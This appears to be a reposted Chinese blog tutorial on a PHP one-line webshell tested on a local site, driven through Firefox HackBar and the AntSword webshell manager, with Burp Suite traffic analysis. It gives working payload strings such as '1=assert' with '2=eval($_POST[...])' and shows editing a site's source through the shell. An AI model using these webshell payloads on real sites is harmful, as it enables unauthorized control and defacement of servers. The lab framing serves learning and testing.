利用火狐HackBar测试登录 在本地站点下创建test.PHP页面,编写一句话木马,用火狐浏览器的HackBar来执行 第一步 第二步 第三步输出结果 这就是通过post提交值传进来后打印出
在本地站点下创建test.PHP页面,编写一句话木马,用火狐浏览器的HackBar来执行
第一步
第二步
第三步输出结果
这就是通过post提交值传进来后打印出来
假如我们提交的是这个结果
再次提交,输入 2=phpinfo(); 显示页面
这就是通过火狐演示 一句话木马上线方式
接下来聊一聊
利用1=assert&2
第一步
添加数据
第二步
输入URL地址和连接密码,点击测试连接
保存之后显示在数据管理,如下
双击进去,一句话木马已上线
我们就可以随意更改网站的文件以及源码,这里我们在源码前面添加aaa并保存
同时网页也被修改了
再次去修改源码
测试蚁剑能否连接成功
返回数据为空
测试火狐能否返回数据
结果是火狐也无返回数据
这样利用失败的原因究竟是什么呢?
因为eval是一个语言构造器而不是一个函数,不能被可变函数调用
什么是可变函数?
正常函数应该是eval(),此时你的函数式拼接在一起的函数
而你是先提交了eval然后你通过后边的括号把他们俩拼接在一起,你觉得它是一个函数,对吧
这样的函数在php中称之为可变函数
如果你1提交一个phpinfo()的话,就拼接成了phpinfo()这样的函数了
PHP支持可变函数的概念。这意味着如果一个变量名后有圆括号,
PHP将寻找与变量的值同名的函数,并且尝试执行它。
可变函数可以用来实现包括回调函数,函数表在内的一些用途。
但是eval在php中不能算是函数,而是php自身的语言结构,需要用可变的方式调用,需要自己构造,外面包一个自己的函数
请求信息不写,直接在连接密码中填写
连接成功了,那这个过程是怎么样的呢?为什么会连接成功,我们去抓包
设置代理,因为我用的是虚拟机,所以代理填虚拟机网关即可
同样在burpsuit中代理填写网关,端口也是8080
点击蚁剑的测试连接,抓包信息如下
1、首先确定这是一个post提交方式
2、assert中只能执行函数,不能执行字符串
3、而2中有eval函数,不再是字符串,他干了一件什么事,对base64进行了一个解码
4、因为连接器的基础配置当中编码方式为base64,也就是提交的方式为base64编码过的,所以解码需要base64解码
5、恰好assert当中可以放表达式或者函数
思考-----不用编码器可以吗?
(关掉蚁剑和bp的代理)测试:
知道为什么不用编码器会失败吗,因为它放的是字符,
仔细看,从2开始后面没有eval,成了一串字符
而刚刚我们说过assert函数中不能执行字符串,参数必须为表达式或者函数;
一开始我们提交的参数如下
1=assert2=eval(base64_decode(编码器是base64编码,所以提交的值进行base64解码,不解码看不懂))正是因为eval的解码使 $_POST['1']($_POST[2]) 变成了 assert(eval(base64_decode))
那么就有了下面
1=assert
2=eval($_POST[‘传递的值’])
接POST肯定是从body往过传,所以在body中填写对应的值
连接密码填写post提交的值
测试连接,连接成功!
需要注意的是!!!一定要选编码器
,不然默认的不编码还是会连接失败
推荐第二种,assert里面是必须要有一个执行函数的,比较符合逻辑,才能提交
成功!
1=assert2=eval($_POST['传递的值'])
失败!
1=assert2=$_POST['传递的值']
俩种方式均可上线,推荐第二种
来源地址:https://blog.csdn.net/weixin_44811851/article/details/126047431
--结束END--
本文标题: assert利用蚁剑登录
本文链接: https://lsjlt.com/news/408625.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0